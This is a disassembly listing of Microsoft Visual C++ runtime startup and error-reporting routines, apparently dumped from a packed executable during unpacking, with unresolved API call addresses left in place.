dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2650000h mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j call near ptr 26203A1h nop mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 262068Fh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 26203A1h mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 26206BEh mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax call near ptr 2870000h nop cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax call near ptr 261084Fh nop test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax call near ptr 2620000h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 261084Fh test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 call near ptr 26202CAh nop pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2650000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2620000h push eax nop call near ptr 26E0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj call near ptr 2610688h nop loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2610688h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax call near ptr 2610000h nop test eax, eax jnz short loc_42391D call near ptr 2660DCFh nop jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj 